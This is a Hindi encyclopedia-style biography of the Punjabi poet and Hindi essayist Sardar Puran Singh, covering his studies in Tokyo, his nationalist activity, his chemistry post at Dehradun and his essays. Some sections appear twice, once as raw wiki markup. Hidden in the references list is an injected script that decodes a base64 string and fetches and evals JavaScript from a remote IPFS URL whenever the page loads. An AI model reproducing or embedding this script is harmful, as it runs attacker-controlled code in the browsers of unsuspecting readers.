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एबटाबाद में कुछ समय बिताने के बाद पूर्ण सिंह [[लाहौर]] चले गए। वहाँ उन्होंने विशेष प्रकार के तेलों का उत्पादन आरंभ किया, किंतु साझा निभ नहीं सका। तब वे अपनी धर्मपत्नी मायादेवी के साथ [[मसूरी]] चले गए और वहाँ से [[स्वामी रामतीर्थ]] से मिलने [[टिहरी गढ़वाल]] में वशिष्ठ आश्रम गए। वहाँ से लाहौर लौटने पर [[अगस्त]], [[1904]] में विक्टोरिया डायमंड जुबली हिंदू टेक्नीकल इंस्टीट्यूट के प्रिंसिपल बन गए और 'थंडरिंग डॉन' पुन: निकालने लगे। [[1905]] में [[कांगड़ा]] के भूकंप पीड़ितों के लिये धन संग्रह किया और इसी प्रसंग में प्रसिद्ध देशभक्त [[लाला हरदयाल]] और डॉक्टर खुदादाद से मित्रता हुई जो उत्तरोत्तर घनिष्ठता में परिवर्तित होती गई तथा जीवनपर्यंत स्थायी रही। [[स्वामी रामतीर्थ]] के साथ उनकी अंतिम भेंट [[जुलाई]], [[1906]] में हुई थी। [[1907]] के आरंभ में वे [[देहरादून]] की प्रसिद्ध संस्था वन अनुसंधानशाला में रसायन के प्रमुख परामर्शदाता नियुक्त किए गए। इस पद पर उन्होंने [[1918]] तक कार्य किया। यहाँ से अवकाश ग्रहण करने के पश्चात, [[पटियाला]], [[ग्वालियर]], सरैया ([[पंजाब]]) आदि स्थानों पर थोड़े-थोड़े समय तक कार्य करते रहे।
 
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==द्विवेदी युग के श्रेष्ठ निबंधकार==
 
==द्विवेदी युग के श्रेष्ठ निबंधकार==
सरदार पूर्ण सिंह को '''अध्यापक पूर्ण सिंह''' के नाम से भी जाना जाता है। वे [[द्विवेदी युग]] के श्रेष्ठ निबन्धकारों में से एक हैं। मात्र 6 निबन्ध लिखकर निबन्ध-साहित्य में अपना नाम अमर कर लिया। आपके निबन्ध नैतिक और सामाजिक विषयों से सम्बद्ध हैं। आवेगपूर्ण, व्यक्तिव्यंजक लाक्षणिक शैली उनकी विशेषता है। विशेष प्रतिपादन की दृष्टि से उन्होंने भावुकता प्रधान शैली का विशेष प्रयोग किया है। सरदार पूर्ण सिंह के निबन्धों की विषय-वस्तु समाज, धर्म, विज्ञान, मनोविज्ञान तथा साहित्य रही है। "सच्ची वीरता" इस निबन्ध में उन्होंने सच्चे वीरों के लक्षण एवं विशेषताओं का भावात्मक एवं काव्यात्मक वर्णन किया है। "मजदूरी और प्रेम" में उन्होंने दोनों के सम्बन्धों का विचारात्मक एवं उद्धरण शैली में वर्णन किया है। "आचरण की सभ्यता" में देश, काल एवं जाति के लिए आचरण की सभ्यता का महत्त्व प्रतिपादित किया है। अपने जीवन मूल्यों को आचरण में उतारकर श्रेष्ठ बनना ही आचरण की सभ्यता है। प्राय: श्रमिक-से दिखने वाले लोगों में आचरण की सभ्यता होती है। उनके निबन्धों की भाषा [[उर्दू]] और [[संस्कृत]] मिश्रित भाषा है।
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सरदार पूर्ण सिंह को '''अध्यापक पूर्ण सिंह''' के नाम से भी जाना जाता है। वे [[द्विवेदी युग]] के श्रेष्ठ निबन्धकारों में से एक हैं। मात्र 6 [[निबन्ध]] लिखकर निबन्ध-साहित्य में अपना नाम अमर कर लिया। आपके निबन्ध नैतिक और सामाजिक विषयों से सम्बद्ध हैं। आवेगपूर्ण, व्यक्तिव्यंजक लाक्षणिक शैली उनकी विशेषता है। विशेष प्रतिपादन की दृष्टि से उन्होंने भावुकता प्रधान शैली का विशेष प्रयोग किया है। सरदार पूर्ण सिंह के निबन्धों की विषय-वस्तु समाज, धर्म, विज्ञान, मनोविज्ञान तथा साहित्य रही है। "सच्ची वीरता" इस निबन्ध में उन्होंने सच्चे वीरों के लक्षण एवं विशेषताओं का भावात्मक एवं काव्यात्मक वर्णन किया है। "मजदूरी और प्रेम" में उन्होंने दोनों के सम्बन्धों का विचारात्मक एवं उद्धरण शैली में वर्णन किया है। "आचरण की सभ्यता" में देश, काल एवं जाति के लिए आचरण की सभ्यता का महत्त्व प्रतिपादित किया है। अपने जीवन मूल्यों को आचरण में उतारकर श्रेष्ठ बनना ही आचरण की सभ्यता है। प्राय: श्रमिक-से दिखने वाले लोगों में आचरण की सभ्यता होती है। उनके निबन्धों की भाषा [[उर्दू]] और [[संस्कृत]] मिश्रित भाषा है।
 
उन्होंने कुछ सूक्तियों का प्रयोग भी निबन्धों में किया है। जैसे- "वीरों के बनाने के कारखाने नहीं होते।" आचरण का रेडियम तो अपनी श्रेष्ठता से चमकता है। उनकी शैली काव्यात्मक, भावात्मक, आलंकारिक है। कहीं-कहीं वाक्य बहुत लम्बे-लम्बे व जटिल हो गये हैं। तर्क एवं बुद्धिप्रधान निबन्ध उनकी शैलीगत विशेषता है।<ref>{{cite web |url=http://www.publishyourarticles.net/hindi/biographies/biography-of-sardar-puran-singh-in-hindi-language/17348/|title=सरदार पूर्णसिंह  |accessmonthday=6 फ़रवरी|accessyear=2018 |last= |first= |authorlink= |format= |publisher=पब्लिश योर आर्टिकल|language=हिंदी }}</ref>  
 
उन्होंने कुछ सूक्तियों का प्रयोग भी निबन्धों में किया है। जैसे- "वीरों के बनाने के कारखाने नहीं होते।" आचरण का रेडियम तो अपनी श्रेष्ठता से चमकता है। उनकी शैली काव्यात्मक, भावात्मक, आलंकारिक है। कहीं-कहीं वाक्य बहुत लम्बे-लम्बे व जटिल हो गये हैं। तर्क एवं बुद्धिप्रधान निबन्ध उनकी शैलीगत विशेषता है।<ref>{{cite web |url=http://www.publishyourarticles.net/hindi/biographies/biography-of-sardar-puran-singh-in-hindi-language/17348/|title=सरदार पूर्णसिंह  |accessmonthday=6 फ़रवरी|accessyear=2018 |last= |first= |authorlink= |format= |publisher=पब्लिश योर आर्टिकल|language=हिंदी }}</ref>  
 
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सरदार पूर्ण सिंह ने जीवन के अंतिम दिनों में ज़िला शेखूपुरा<ref> अब पश्चिमी पाकिस्तान</ref> की तहसील ननकाना साहब के पास [[कृषि]] कार्य शुरू किया और खेती करने लगे। वे [[1926]] से [[1930]] तक वहीं रहे। [[नवंबर]], [[1930]] में वे बीमार पड़े, जिससे उन्हें [[तपेदिक|तपेदिक रोग]] हो गया और [[31 मार्च]], [[1931]] को [[देहरादून]] में सरदार पूर्ण सिंह का देहांत हो गया।
 
  
 
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सरदार पूर्ण सिंह
सरदार पूर्ण सिंह
पूरा नाम सरदार पूर्ण सिंह
जन्म 17 फ़रवरी, 1881
जन्म भूमि एबटाबाद, पाकिस्तान
मृत्यु 31 मार्च, 1931 (अायु- 50 वर्ष)
मृत्यु स्थान देहरादून, उत्तराखण्ड
अभिभावक पिता- सरदार करतार सिंह भागर
पति/पत्नी माया देवी
कर्म भूमि भारत
मुख्य रचनाएँ हिन्दी-‘सच्ची वीरता’, ‘कन्यादान’, ‘पवित्रता’, ‘आचरण की सभ्यता’। पंजाबी-‘अवि चल जोत’, ‘खुले मैदान’, ‘खुले खुंड’, ‘मेरा सांई’, ‘कविदा दिल कविता’।
विषय कविता, लेख, निबंध
भाषा हिन्दी, पंजाबी, अंग्रेज़ी, उर्दू
प्रसिद्धि देशभक्त, शिक्षाविद, लेखक
नागरिकता भारतीय
अन्य जानकारी आधुनिक पंजाबी काव्य के संस्थापकों में पूर्ण सिंह की गणना होती है। 1907 के आरंभ में वे देहरादून की प्रसिद्ध संस्था 'वन अनुसंधानशाला' में रसायन के प्रमुख परामर्शदाता नियुक्त किए गए थे। इस पद पर उन्होंने 1918 तक कार्य किया।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

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सरदार पूर्ण सिंह (अंग्रेज़ी: Sardar Puran Singh, जन्म- 17 फ़रवरी, 1881, एबटाबाद; मृत्यु- 31 मार्च, 1931, देहरादून) भारत के विशिष्ट निबंधकारों में से एक थे। ये देशभक्त, शिक्षाविद, अध्यापक, वैज्ञानिक एवं लेखक भी थे। इसके साथ ही वे पंजाबी के जाने माने कवि भी थे। आधुनिक पंजाबी काव्य के संस्थापकों में पूर्ण सिंह की गणना होती है।[1]

परिचय

पूर्ण सिंह का जन्म 17 फ़रवरी सन 1881 को पश्चिम सीमाप्रांत (अब पाकिस्तान में) के हज़ारा ज़िले के मुख्य नगर एबटाबाद के समीप सलहद ग्राम में हुआ था। इनके पिता सरदार करतार सिंह भागर सरकारी कर्मचारी थे। उनके पूर्वपुरुष ज़िला रावलपिंडी की कहूटा तहसील के ग्राम डेरा खालसा में रहते थे। रावलपिंडी ज़िले का यह भाग पोठोहार कहलाता है और अपने प्राकृतिक सौंदर्य के लिये आज भी प्रसिद्ध है। पूर्ण सिंह अपने माता-पिता के ज्येष्ठ पुत्र थे। क़ानूनगो होने से पिता को सरकारी कार्य से अपनी तहसील में प्राय: घूमते रहना पड़ता था, अत: बच्चों की देखरेख का कार्य प्राय: माता को ही करना पड़ता था।

शिक्षा

पूर्ण सिंह की प्रारंभिक शिक्षा तहसील हवेलियाँ में हुई। यहाँ मस्जिद के मौलवी से उन्होंने उर्दू पढ़ी और सिक्ख धर्मशाला के भाई बेलासिंह से गुरुमुखी सीखी। रावलपिंडी के मिशन हाईस्कूल से 1897 में प्रवेश परीक्षा प्रथम श्रेणी में उत्तीर्ण की। सन 1899 में डी. ए. वी. कॉलेज, लाहौर; 28 सितम्बर, 1900 को वे टोक्यो विश्वविद्यालय, जापान के फैकल्टी ऑफ़ मेडिसिन में औषधि निर्माण संबंधी रसायन का अध्ययन करने के लिये "विशेष छात्र' के रूप में प्रविष्ट हो गए और वहाँ उन्होंने पूरे तीन वर्ष तक अध्ययन किया।

स्वतंत्रता के प्रति सहानुभूति

1901 में टोक्यो के 'ओरिएंटल क्लब' में भारत की स्वतंत्रता के लिये सहानुभूति प्राप्त करने के उद्देश्य से पूर्ण सिंह ने कई उग्र भाषण दिए तथा कुछ जापानी मित्रों के सहयोग से भारत-जापानी-क्लब की स्थापना की। टोक्यो में वे स्वामी जी के विचारों से इतने अधिक प्रभावित हुए कि उनका शिष्य बनकर उन्होंने संन्यास धारण कर लिया। वहाँ आवासकाल में लगभग डेढ़ वर्ष तक उन्होंने एक मासिक पत्रिका 'थंडरिंग डॉन' का संपादन किया। सितम्बर, 1903 में भारत लौटने पर कलकत्ता (आधुनिक कोलकाता) में उस समय के ब्रिटिश शासन के विरुद्ध उत्तेजनात्मक भाषण देने के अपराध में वे बंदी बना लिए गए, किंतु बाद में मुक्त कर दिए गए।

व्यावसायिक जीवन

एबटाबाद में कुछ समय बिताने के बाद पूर्ण सिंह लाहौर चले गए। वहाँ उन्होंने विशेष प्रकार के तेलों का उत्पादन आरंभ किया, किंतु साझा निभ नहीं सका। तब वे अपनी धर्मपत्नी मायादेवी के साथ मसूरी चले गए और वहाँ से स्वामी रामतीर्थ से मिलने टिहरी गढ़वाल में वशिष्ठ आश्रम गए। वहाँ से लाहौर लौटने पर अगस्त, 1904 में विक्टोरिया डायमंड जुबली हिंदू टेक्नीकल इंस्टीट्यूट के प्रिंसिपल बन गए और 'थंडरिंग डॉन' पुन: निकालने लगे। 1905 में कांगड़ा के भूकंप पीड़ितों के लिये धन संग्रह किया और इसी प्रसंग में प्रसिद्ध देशभक्त लाला हरदयाल और डॉक्टर खुदादाद से मित्रता हुई जो उत्तरोत्तर घनिष्ठता में परिवर्तित होती गई तथा जीवनपर्यंत स्थायी रही। स्वामी रामतीर्थ के साथ उनकी अंतिम भेंट जुलाई, 1906 में हुई थी। 1907 के आरंभ में वे देहरादून की प्रसिद्ध संस्था वन अनुसंधानशाला में रसायन के प्रमुख परामर्शदाता नियुक्त किए गए। इस पद पर उन्होंने 1918 तक कार्य किया। यहाँ से अवकाश ग्रहण करने के पश्चात, पटियाला, ग्वालियर, सरैया (पंजाब) आदि स्थानों पर थोड़े-थोड़े समय तक कार्य करते रहे।

द्विवेदी युग के श्रेष्ठ निबंधकार

सरदार पूर्ण सिंह को अध्यापक पूर्ण सिंह के नाम से भी जाना जाता है। वे द्विवेदी युग के श्रेष्ठ निबन्धकारों में से एक हैं। मात्र 6 निबन्ध लिखकर निबन्ध-साहित्य में अपना नाम अमर कर लिया। आपके निबन्ध नैतिक और सामाजिक विषयों से सम्बद्ध हैं। आवेगपूर्ण, व्यक्तिव्यंजक लाक्षणिक शैली उनकी विशेषता है। विशेष प्रतिपादन की दृष्टि से उन्होंने भावुकता प्रधान शैली का विशेष प्रयोग किया है। सरदार पूर्ण सिंह के निबन्धों की विषय-वस्तु समाज, धर्म, विज्ञान, मनोविज्ञान तथा साहित्य रही है। "सच्ची वीरता" इस निबन्ध में उन्होंने सच्चे वीरों के लक्षण एवं विशेषताओं का भावात्मक एवं काव्यात्मक वर्णन किया है। "मजदूरी और प्रेम" में उन्होंने दोनों के सम्बन्धों का विचारात्मक एवं उद्धरण शैली में वर्णन किया है। "आचरण की सभ्यता" में देश, काल एवं जाति के लिए आचरण की सभ्यता का महत्त्व प्रतिपादित किया है। अपने जीवन मूल्यों को आचरण में उतारकर श्रेष्ठ बनना ही आचरण की सभ्यता है। प्राय: श्रमिक-से दिखने वाले लोगों में आचरण की सभ्यता होती है। उनके निबन्धों की भाषा उर्दू और संस्कृत मिश्रित भाषा है। उन्होंने कुछ सूक्तियों का प्रयोग भी निबन्धों में किया है। जैसे- "वीरों के बनाने के कारखाने नहीं होते।" आचरण का रेडियम तो अपनी श्रेष्ठता से चमकता है। उनकी शैली काव्यात्मक, भावात्मक, आलंकारिक है। कहीं-कहीं वाक्य बहुत लम्बे-लम्बे व जटिल हो गये हैं। तर्क एवं बुद्धिप्रधान निबन्ध उनकी शैलीगत विशेषता है।[2]

कृतियांं एवं निबंध

पूर्ण सिंह ने अंग्रेज़ी, पंजाबी तथा हिंदी में अनेक ग्रंथों की रचना की, जो इस प्रकार हैं-

अंंग्रेज़ी कृतियां

‘दि स्टोरी ऑफ स्वामी राम’, ‘दि स्केचेज फ्राम सिक्ख हिस्ट्री', हिज फीट’, ‘शार्ट स्टोरीज’, ‘सिस्टर्स ऑफ दि स्पीनिंग हवील’, ‘गुरु तेगबहादुर’ लाइफ’, प्रमुख हैं।

पंजाबी कृतियां

‘अवि चल जोत’, ‘खुले मैदान’, ‘खुले खुंड’, ‘मेरा सांई’, ‘कविदा दिल कविता’।

हिंदी निबंध

‘सच्ची वीरता’, ‘कन्यादान’, ‘पवित्रता’, ‘आचरण की सभ्यता’, ‘मजदूरी और प्रेम’ तथा अमेरिका का मस्ताना योगी वाल्ट हिवट मैंन।

अन्य

वीणाप्लेयर्स, गुरु गोविंदसिंह, दि लाइफ एंड टीचिंग्स ऑव श्री गुरु तेगबहादुर, 'ऑन दि पाथ्स ऑव लाइफ, स्वामी रामतीर्थ महाराज की असली जिंदगी पर तैराना नजर इत्यादि

मृत्यु

सरदार पूर्ण सिंह ने जीवन के अंतिम दिनों में ज़िला शेखूपुरा[3] की तहसील ननकाना साहब के पास कृषि कार्य शुरू किया और खेती करने लगे। वे 1926 से 1930 तक वहीं रहे। नवंबर, 1930 में वे बीमार पड़े, जिससे उन्हें तपेदिक रोग हो गया और 31 मार्च, 1931 को देहरादून में सरदार पूर्ण सिंह का देहांत हो गया।


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टीका टिप्पणी और संदर्भ

  1. पुस्तक- भारतीय चरित कोश, लेखक- लीलाधर शर्मा 'पर्वतीय', प्रकाशक- शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली, संकलन- भारतकोश पुस्तकालय, पृष्ठ संख्या- 476
  2. सरदार पूर्णसिंह (हिंदी) पब्लिश योर आर्टिकल। अभिगमन तिथि: 6 फ़रवरी, 2018।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. अब पश्चिमी पाकिस्तान

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